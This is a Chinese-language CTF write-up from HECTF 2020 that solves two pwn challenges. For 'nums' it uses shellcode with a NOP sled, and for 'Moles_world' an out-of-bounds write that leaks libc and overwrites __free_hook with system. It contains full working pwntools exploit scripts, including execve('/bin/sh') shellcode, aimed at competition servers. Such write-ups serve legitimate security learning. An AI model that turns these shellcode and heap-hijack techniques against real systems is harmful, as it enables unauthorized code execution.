2020--HECTF

nums

checsec

matrix@ubuntu:~/PWN/HEctf$ checksec nums
[*] '/home/matrix/PWN/HEctf/nums'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

没开保护,RWX段大概率是shellcode

IDA–关键代码

   __isoc99_scanf("%d", &c);
  if ( !(unsigned int)strange_check1(c) || !(unsigned int)strange_check2(c) )
    exit(0);
  puts("pass the check");
  v3 = (unsigned int)c;
  memset(&bss, c, 0x400uLL);
  puts("input your secret: 11 magic numbers");
  for ( i = 0; i <= 10; ++i )
  {
    v3 = (unsigned __int64)&v6[i];
    __isoc99_scanf("%d", v3);
  }  
  puts("Now,only you and the GOD know your secret...");
  v4 = time(0LL);
  srand(v4);
  for ( j = 0; j <= 10; ++j )
  {
    do
    {
      do
        v8 = rand() % 1024;                     // v8 == 0~1023
      while ( 93 * (j + 1) <= v8 );             // (93~1023) <= v8
    }
    while ( 93 * j > v8 );                      // (0~930) > v8
    *(_DWORD *)((char *)&bss + v8) = v6[j];
  }

程序的意思是:在绕过第一个if语句后让我们进行11次整型输入,然后将这11次输入的值用一个循环插入bss段上,最后call bss。
注意根据随机数进行数值插入的循环体,他的插入顺序虽然是随机的但是一定是从大到小的

思路

  • 第一个if语句的绕过要求数字必须是最高位为1(用有符号数绕过第一个check)然后4个字节的前三个字节不能与最后一个字节一样
  • 绕过成功后根据mmset,会将我们的输入的最后一个字节覆盖bss段
  • 读入11个4字节数值,然后随机分别插入bss段
  • 最后call bss
    所以先用0x91483990绕过第一个判断的同时根据mmset用0x90(nop)覆盖bss段
    然后我们只要插入shellcode即可。注意到每次只能插入4个字节,所以我的方法是:插入read(0,bss,0x400);call bss否则/bin/sh是无法用4个字节插入的

EXP

#+++++++++++++++++++exp.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Sat Nov 21 13:56:49 CST 2020
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./nums')
#libc = ELF('null')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

sh = process('./nums')
sh = remote('121.196.32.184',12002)
padding = '0x91483990'

sh.sendlineafter('ZEROs\n','2437429648')

#gdb.attach(sh,'b*0x400B12')
count=0
for i in [2428514632,2432643400,2429978952,2425357583,2425410303,0x90,0x90,0x90,0x90,0x90,0x90]: #这里事先将16进制机器码转换为int,如果小于4字节用0x90补齐
    print count
    count+=1    
    sh.sendline(str(i))

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
sh.sendline(shellcode)

sh.interactive()

注意:程序在call rdx来执行bss段,rdx存放了bss的地址,所以我们可以直接mov rsi,rdx 而不是mov rsi(esi),bss 否则至少需要5个字节存放机器码

摩尔庄园的记忆

checksec

[*] '/home/matrix/PWN/HEctf/Moles/Moles_world'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

只关闭了RELRO,所以可能是篡改got表

思路

这个题漏洞就是数组越界当下标为负数时所有选项都没有检查,我本来想泄露elf地址的然后想办法篡改got表,但是一直没成功,坐等大佬WP
然后换了一个思路。

  • 利用rename函数数组越界将bss段上stderr的结构体的flag字段进行填充,然后配合show函数泄露下一字段的值,也就是_IO_read_ptr 因为缓冲区关闭所以其指向stderr_addr+131,从而获得stderr结构体的地址
  • 用LibcSearcher虽然有8个结果但是没一个正确的libc版本,还是在最后放出了libc下载地址,否则这个题我应该是写不出
  • 利用.data段的一个指针:dso_handle,其始终指向自己所在的地址,这样我们就可以利用rename将其覆盖为free_hook地址,然后再利用一次rename向__free_hook写入system
    • 我从来没见过这符号,上网搜一下其大概的作用一个守卫有点复杂,就不深究了

EXP

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.11.21 22.01.31
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./Moles_world')
#libc = ELF('null')
#libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
libc=ELF('./libc6_2.27-3ubuntu1.3_amd64.so')

def add(index,name):
    sh.sendlineafter('[now] > ','G')
    sh.sendlineafter("[lahm's index] > ",str(index))
    sh.sendafter("[lahm's name] > ",str(name))

def rename(index,name):
    sh.sendlineafter('[now] > ','R')
    sh.sendlineafter("[lahm's index] > ",str(index))
    sh.sendafter("[lahm's name begin ten char] > ",str(name))

def abandon(index):
    sh.sendlineafter('[now] > ','A')
    sh.sendlineafter("[lahm's index] > ",str(index))

def show(index):
    sh.sendlineafter('[now] > ','S')
    sh.sendlineafter("[lahm's index] > ",str(index))

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))

def pwn():
    add(0,'/bin/sh\x00')
    #gdb.attach(sh)
    rename(-4,p32(0xfbad208b).ljust(8,'A'))
    show(-4)
    sh.recvuntil('name] > ')
    sh.recv(8)
    stderr_addr = u64(sh.recv(6).ljust(8,'\x00')) - 131 

    libc_addr = stderr_addr-libc.sym['_IO_2_1_stderr_']


    show_addr('libc_addr',libc_addr)
    system = libc_addr+libc.sym['system']
    show_addr('system',system)
    show_addr('stderr_addr',stderr_addr)

    rename(-12,p64(libc_addr+libc.sym['__free_hook']))
    rename(-12,p64(system))

    sh.sendlineafter('[now] > ','A')
    sh.sendlineafter("[lahm's index] > ",str(0))
    sh.interactive()

if __name__ == "__main__":
    while True :
        try:
            sh = remote('114.55.165.246',21001)
            pwn()
        except:
            sh.close()

小结

  • 这是第一次认真参与的一个比赛,虽然没什么名次但是,终于再比赛上做出自己力所能及的题目还是很不错的
  • 第三题的EXP不是很完美有点取巧,坐等WP

libc查询下载:https://libc.rip/
https://libc.blukat.me/


  转载请注明: Squarer 2020--HECTF

 上一篇
Sandbox Sandbox
沙箱因为用户层对数据的一切操作到底都是需要通过系统调用来完成的,那么只要对某些危险的系统调用进行限制,用户层的程序就比较难进行恶意的系统调用 seccommpshort for secure computing mode(wiki)是一种限
2020-11-23
下一篇 
2019_realloc_magic--realloc与tcache 2019_realloc_magic--realloc与tcache
前言2019_realloc_magic是在2.27环境下的一个堆题,里面只用到了realloc函数进行堆分配,所以先来深入了解realloc函数 realloc–2.27功能是:重新调整之前调用 malloc 或 calloc或其他堆函数
  目录